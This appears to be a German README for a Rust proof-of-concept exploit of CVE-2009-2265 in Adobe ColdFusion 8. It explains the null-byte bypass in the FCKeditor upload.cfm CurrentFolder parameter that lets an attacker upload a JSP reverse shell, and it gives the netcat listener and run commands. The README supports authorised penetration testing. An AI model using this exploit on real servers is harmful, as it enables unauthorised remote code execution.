
Eine Rust-Implementierung des POC für den CVE-2009-2265-Exploit, der Adobe ColdFusion 8 angreift.
Eine Rust-Implementierung des POC für den CVE-2009-2265-Exploit, die auf Adobe ColdFusion 8 abzielt.
Diese Schwachstelle ermöglicht es einem nicht authentifizierten Angreifer, beliebige Dateien in ein über das Web erreichbares Verzeichnis auf einem Server mit Adobe ColdFusion 8 hochzuladen, was zu Remote Code Execution (RCE) führt.
upload.cfm-ConnectorCurrentFolderDie Schwachstelle befindet sich in der Datei-Upload-Funktionalität der FCKeditor-Komponente unter /CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm. Der HTTP-GET-Parameter CurrentFolder wird nicht ordnungsgemäß bereinigt, was einen Null-Byte-Injection-Angriff (%00) ermöglicht.
Durch das Erstellen einer Anfrage, bei der der Parameter CurrentFolder auf /<filename>.jsp%00 gesetzt ist, kann ein Angreifer die serverseitigen Erweiterungsprüfungen umgehen. Das zugrunde liegende System (oft Java) interpretiert das Null-Byte als Ende der Zeichenkette und behandelt den Dateinamen als <filename>.jsp. Dadurch kann der Angreifer eine bösartige JSP-Datei hochladen. Der Server speichert diese Datei in einem öffentlich zugänglichen Verzeichnis (/userfiles/file/), von wo aus sie durch einfaches Aufrufen ihrer URL ausgeführt werden kann.
Dieser POC automatisiert den Prozess, indem er ein JSP-Reverse-Shell-Payload generiert, es mithilfe der Null-Byte-Schwachstelle hochlädt und auslöst, um eine Shell auf dem Zielsystem zu erlangen.
Befolgen Sie diese Schritte, um den Exploit zu kompilieren und auszuführen.
Starten Sie vor der Ausführung des Exploits einen Listener auf Ihrem lokalen Rechner, um die eingehende Reverse Shell zu empfangen.
nc -lnvp <attacker-port>
Führen Sie die kompilierte Binärdatei aus und geben Sie dabei Ihren lokalen Host/Port für die Reverse Shell sowie den Host/Port des entfernten Ziels an.
cargo run -- --lhost <LHOST> --lport <LPORT> --rhost <RHOST> --rport <RPORT>
Nachdem das Skript das Payload ausgelöst hat, sollten Sie eine Verbindung auf Ihrem Netcat-Listener empfangen.
Dieses Tool dient ausschließlich zu Bildungs- und autorisierten Penetrationstest-Zwecken. Verwenden Sie es verantwortungsbewusst und nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche Genehmigung haben.